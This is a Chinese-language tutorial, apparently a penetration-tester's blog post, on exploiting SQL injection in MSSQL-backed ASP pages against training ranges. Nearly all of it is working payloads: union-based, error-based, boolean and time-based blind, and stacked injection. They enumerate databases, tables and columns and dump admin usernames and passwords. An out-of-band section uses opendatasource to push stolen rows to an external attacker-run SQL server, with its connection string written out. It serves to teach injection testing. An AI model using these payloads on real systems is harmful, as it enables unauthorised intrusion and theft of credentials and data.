MSSQL數據庫注入全方位利用
前言
在滲透測試過程中遇到了MSSQL數據庫,市面上也有一些文章,不過大多數講述的都是如何快速利用注入漏洞getshell的,對于MSSQL數據庫的注入漏洞沒有很詳細地描述。在這里我查閱了很多資料,希望在滲透測試過程中遇到了MSSQL數據庫能夠相對友好地進行滲透測試,文章針對實戰性教學,在概念描述方面有不懂的還請自行百度,謝謝大家~
注入前準備
1、確定注入點
http://219.153.49.228:40574/new_list.asp?id=2 and 1=1

http://219.153.49.228:40574/new_list.asp?id=2 and 1=2

2、判斷是否為mssql數據庫
sysobjects為mssql數據庫中獨有的數據表,此處頁面返回正常即可表示為mssql數據庫。
http://219.153.49.228:40574/new_list.asp?id=2 and (select count(*) from sysobjects)>0

還可以通過MSSQL數據庫中的延時函數進行判斷,當語句執行成功, 頁面延時返回即表示為MSSQL數據庫。 http://219.153.49.228:40574/new_list.asp?id=2;WAITFOR DELAY '00:00:10'; -- asd

3、相關概念
- 系統自帶庫
MSSQL安裝后默認帶了6個數據庫,其中4個系統級庫:master,model,tempdb和msdb;2個示例庫:Northwind Traders和pubs。
這里了解一下系統級庫:
master:主要為系統控制數據庫,其中包括了所有配置信息、用戶登錄信息和當前系統運行情況。model:模版數據庫tempdb:臨時容器msdb:主要為用戶使用,所有的告警、任務調度等都在這個數據庫中。
- 系統自帶表
MSSQL數據庫與Mysql數據庫一樣,有安裝自帶的數據表sysobjects和syscolumns等,其中需要了解的就是這兩個數據表。
sysobjects:記錄了數據庫中所有表,常用字段為id、name和xtype。syscolumns:記錄了數據庫中所有表的字段,常用字段為id、name和xtype。
就如字面意思所述,id為標識,name為對應的表名和字段名,xtype為所對應的對象類型。一般我們使用兩個,一個’U’為用戶所創建,一個’S’為系統所創建。其他對象類型如下:
對象類型:AF = 聚合函數 (CLR)C = CHECK 約束D = DEFAULT(約束或獨立)F = FOREIGN KEY 約束FN = SQL 標量函數FS = 程序集 (CLR) 標量函數FT = 程序集 (CLR) 表值函數IF = SQL 內聯表值函數IT = 內部表P = SQL 存儲過程PC = 程序集 (CLR) 存儲過程PG = 計劃指南PK = PRIMARY KEY 約束R = 規則(舊式,獨立)RF = 復制篩選過程S = 系統基表SN = 同義詞SQ = 服務隊列TA = 程序集 (CLR) DML 觸發器TF = SQL 表值函數TR = SQL DML 觸發器U = 表(用戶定義類型)UQ = UNIQUE 約束V = 視圖X = 擴展存儲過程
- 排序&獲取下一條數據
mssql數據庫中沒有limit排序獲取字段,但是可以使用top 1來顯示數據中的第一條數據,后面與Oracle數據庫注入一樣,使用<>或not in 來排除已經顯示的數據,獲取下一條數據。但是與Oracle數據庫不同的是使用not in的時候后面需要帶上(‘’),類似數組,也就是不需要輸入多個not in來獲取數據,這可以很大程序減少輸入的數據量,如下:
#使用<>獲取數據http://219.153.49.228:40574/new_list.asp?id=-2 union all select top 1 null,id,name,null from dbo.syscolumns where id='5575058' and name<>'id' and name<>'username'-- qwe#使用not in獲取數據http://219.153.49.228:40574/new_list.asp?id=-2 union all select top 1 null,id,name,null from dbo.syscolumns where id='5575058' and name not in ('id','username')-- qwe
堆疊注入
在SQL中,執行語句是通過;分割的,如果我們輸入的;被數據庫帶入執行,那么就可以在其后加入sql執行語句,導致多條語句一起執行的注入,我們將其命名為堆疊注入。具體情況如下,很明顯兩條語句都進行了執行。
http://192.168.150.4:9001/less-1.asp?id=1';WAITFOR DELAY '0:0:5';-- qwe

顯錯注入
1、判斷當前字段數
http://219.153.49.228:40574/new_list.asp?id=2 order by 4

http://219.153.49.228:40574/new_list.asp?id=2 order by 5

通過order by報錯情況,可以判斷出當前字段為4。
2、聯合查詢,獲取顯錯點
2-1、首先因為不知道具體類型,所以還是先用null來填充字符
http://219.153.49.228:40574/new_list.asp?id=-2 union all select null,null,null,null -- qwe

2-2、替換null為’null’,獲取顯錯點
http://219.153.49.228:40574/new_list.asp?id=-2 union all select null,'null','null',null -- qwe

當第一個字符設置為字符串格式時,頁面報錯,很明顯這個就是id了,為整型字符。
http://219.153.49.228:40574/new_list.asp?id=-2 union all select 'null','null','null',null -- qwe

3、通過顯錯點獲取數據庫信息
3-1、獲取數據庫版本
http://219.153.49.228:40574/new_list.asp?id=-2 union all select null,'1',(select @@version),null -- qwe

3-2、查詢當前數據庫名稱
通過輪詢db_name()里的內容,獲取所有數據庫庫名
http://219.153.49.228:40574/new_list.asp?id=-2 union all select null,'1',(select db_name()),null -- qwehttp://219.153.49.228:40574/new_list.asp?id=-2 union all select null,'1',(select db_name(1)),null -- qwehttp://219.153.49.228:40574/new_list.asp?id=-2 union all select null,'1',(select db_name(2)),null -- qwehttp://219.153.49.228:40574/new_list.asp?id=-2 union all select null,'1',(select db_name(3)),null -- qwehttp://219.153.49.228:40574/new_list.asp?id=-2 union all select null,'1',(select db_name(4)),null -- qwehttp://219.153.49.228:40574/new_list.asp?id=-2 union all select null,'1',(select db_name(5)),null -- qwe


3-3、查詢當前用戶
http://219.153.49.228:40574/new_list.asp?id=-2 union all select null,'1',(select user),null -- qwe

4、查詢表名
查詢dbo.sysobjects表中用戶創建的表,獲取其對應的id和name
http://219.153.49.228:40574/new_list.asp?id=-2 union all select null,id,name,null from dbo.sysobjects where xtype='U' -- qwe

查詢下一個表名
#使用<>獲取下一條數據http://219.153.49.228:40574/new_list.asp?id=-2 union all select top 1 null,id,name,null from dbo.sysobjects where xtype='U' and id <> 5575058 -- qwe#使用not in獲取下一條數據http://219.153.49.228:40574/new_list.asp?id=-2 union all select top 1 null,id,name,null from dbo.sysobjects where xtype='U' and id not in ('5575058') -- qwe

5、查詢列名
這里有個坑,查詢列名的時候因為已經知道了表名的id值,所以where只需要使用id即可,不再需要xtype了。
http://219.153.49.228:40574/new_list.asp?id=-2 union all select top 1 null,id,name,null from dbo.syscolumns where id='5575058'-- qwe

http://219.153.49.228:40574/new_list.asp?id=-2 union all select top 1 null,id,name,null from dbo.syscolumns where id='5575058' and name not in ('id','username')-- qwe

6、information_schema
值得一提的是,除了借助sysobjects表和syscolumns表獲取表名、列名外,mssql數據庫中也兼容information_schema,里面存放了數據表表名和字段名,但是查詢的數據好像存在一些問題,只查詢到了manager表。
http://219.153.49.228:40574/new_list.asp?id=-2 union all select null,'1',(select top 1 table_name from information_schema.tables where table_name <> 'manager'),null -- qwe
http://219.153.49.228:40574/new_list.asp?id=-2 union all select null,'1',(select top 1 column_name from information_schema.columns where table_name = 'manage' ),null -- qwehttp://219.153.49.228:40574/new_list.asp?id=-2 union all select null,'1',(select top 1 column_name from information_schema.columns where table_name = 'manage' and column_name not in ('id','username')),null -- qwe


7、獲取數據
http://219.153.49.228:40574/new_list.asp?id=-2 union all select top 1 null,username,password,null from manage-- qwehttp://219.153.49.228:40574/new_list.asp?id=-2 union all select top 1 null,username,password,null from manage where username <> 'admin_mz'-- qwe

解密獲取密碼

報錯注入
mssql數據庫是強類型語言數據庫,當類型不一致時將會報錯,配合子查詢即可實現報錯注入。
1、直接報錯
等號兩邊數據類型不一致配合子查詢獲取數據。
#獲取數據庫庫名?id=1' and 1=(select db_name()) -- qwe

#獲取第一個表名?id=1' and 1=(select top 1 name from dbo.sysobjects) -- qwe

#將數據連接顯示?id=1' and 1=stuff((select db_name() for xml path('')),1,0,'')--+
2、convert()函數
convert(int,db_name()),將第二個參數的值轉換成第一個參數的int類型。
具體用法如下:
#獲取數據庫庫名?id=1' and 1=convert(int,(select db_name())) -- qwe

#獲取數據庫版本?id=1' and 1=convert(int,(select @@version))) -- qwe

3、cast()函數
CAST(expression AS data_type),將as前的參數以as后指定了數據類型轉換。
具體用法如下:
#查詢當前數據庫?id=1' and 1=(select cast(db_name() as int)) -- qe

#查詢第一個數據表?id=1' and 1=(select top 1 cast(name as int) from dbo.sysobjects) -- qe

4、數據組合輸出
#將數據表組合輸出?id=1' and 1=stuff((select quotename(name) from dbo.sysobjects for xml path('')),1,0,'')--+

#查詢users表中的用戶名并組合輸出?id=1' and 1=stuff((select quotename(username) from users for xml path('')),1,0,'')--+

布爾盲注
1、查詢數據庫庫名
1-1、查詢數據庫庫名長度為11
http://219.153.49.228:40768/new_list.asp?id=2 and len((select top 1 db_name()))=11 1-2、查詢第一個字符的ascii碼為109
http://219.153.49.228:40768/new_list.asp?id=2 and ascii(substring((select top 1 db_name()),1,1))=109http://219.153.49.228:40768/new_list.asp?id=2 and ascii(substring((select top 1 db_name()),1,1))>109

1-3、查詢第二個字符的ascii碼為111
http://219.153.49.228:40768/new_list.asp?id=2 and ascii(substring((select top 1 db_name()),2,1))=111

1-4、獲取所有ascii碼之后,解碼獲取數據

2、查詢表名
除了像上面查詢庫名使用了ascii碼外,還可以直接猜解字符串
http://219.153.49.228:40768/new_list.asp?id=2 and substring((select top 1 name from dbo.sysobjects where xtype='U'),1,1)='m'

http://219.153.49.228:40768/new_list.asp?id=2 and substring((select top 1 name from dbo.sysobjects where xtype='U'),1,6)='manage'

延時盲注
1、延時函數 WAITFOR DELAY
語法:n表示延時幾秒WAITFOR DELAY '0:0:n'id=1 if (布爾盲注的判斷語句) WAITFOR DELAY '0:0:5' -- qwe
2、查詢數據
#判斷如果第一個庫的庫名的第一個字符的ascii碼為109,則延時5秒http://219.153.49.228:40768/new_list.asp?id=2 if (ascii(substring((select top 1 db_name()),1,1))=109) WAITFOR DELAY '0:0:5' -- qwe

#判斷如果第一個表的表名的第一個字符為m,則延時5秒http://219.153.49.228:40768/new_list.asp?id=2 if (substring((select top 1 name from dbo.sysobjects where xtype='U'),1,1)='m') WAITFOR DELAY '0:0:5' -- qwe

反彈注入
就像在Mysql中可以通過dnslog外帶,Oracle可以通過python搭建一個http服務器接收外帶的數據一樣,在MSSQL數據庫中,我們同樣有方法進行數據外帶,那就是通過反彈注入外帶數據。
反彈注入條件相對苛刻一些,一是需要一臺搭建了mssql數據庫的vps服務器,二是需要開啟堆疊注入。
反彈注入需要使用opendatasource函數。
OPENDATASOURCE(provider_name,init_string):使用opendatasource函數將當前數據庫查詢的結果發送到另一數據庫服務器中。
1、環境準備
1-1、首先打開靶場

1-2、連接vps的mssql數據庫,新建表test,字段數與類型要與要查詢的數據相同。這里因為我想查詢的是數據庫庫名,所以新建一個表里面只有一個字段,類型為varchar。
CREATE TABLE test(name VARCHAR(255))

2、獲取數據庫所有表
2-1、使用反彈注入將數據注入到表中,注意這里填寫的是數據庫對應的參數,最后通過空格隔開要查詢的數據。
#查詢sysobjects表?id=1';insert into opendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC18D_test_admin;pwd=123456;database=DB_14DC18D_test').DB_14DC18D_test.dbo.test select name from dbo.sysobjects where xtype='U' -- qwe#查詢information_schema數據庫?id=1';insert into opendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC18D_test_admin;pwd=123456;database=DB_14DC18D_test').DB_14DC18D_test.dbo.test select table_name from information_schema.tables -- qwe
2-2、執行成功頁面返回正常。

2-3、在數據庫中成功獲取到數據。

3、獲取數據庫admin表中的所有列名
#查詢information_schema數據庫?id=1';insert into opendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC18D_test_admin;pwd=123456;database=DB_14DC18D_test').DB_14DC18D_test.dbo.test select column_name from information_schema.columns where table_name='admin'-- qwe#查詢syscolumns表?id=1';insert into opendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC18D_test_admin;pwd=123456;database=DB_14DC18D_test').DB_14DC18D_test.dbo.test select name from dbo.syscolumns where id=1977058079-- qwe


4、獲取數據
4-1、首先新建一個表,里面放三個字段,分別是id,username和passwd。
CREATE TABLE data(id INT,username VARCHAR(255),passwd VARCHAR(255))
4-2、獲取admin表中的數據
?id=1';insert into opendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC18D_test_admin;pwd=123456;database=DB_14DC18D_test').DB_14DC18D_test.dbo.data select id,username,passwd from admin -- qwe


總結
完成這篇文章共費時1周,主要花時間在環境搭建以及尋找在線靶場。全文從顯錯注入、報錯注入到盲注和反彈注入,幾乎涵蓋了所有MSSQL注入類型,若有所遺漏還請聯系我,我必將在原文基礎上進行改進。因為能力有限,本文未進行太多了原理描述,也因為SQL注入原理市面上已經有很多文章進行了講解,所以文章最終以實戰注入作為重心開展,講述找尋到注入點后在如何在多種情況下獲取數據。
靶場采用墨者學院、掌控安全,以及MSSQL-sqli-labs靶場,實際攻擊時還需要考慮waf繞過等,后續會計劃完成一篇針對waf繞過和提權getshell的文章,敬請期待~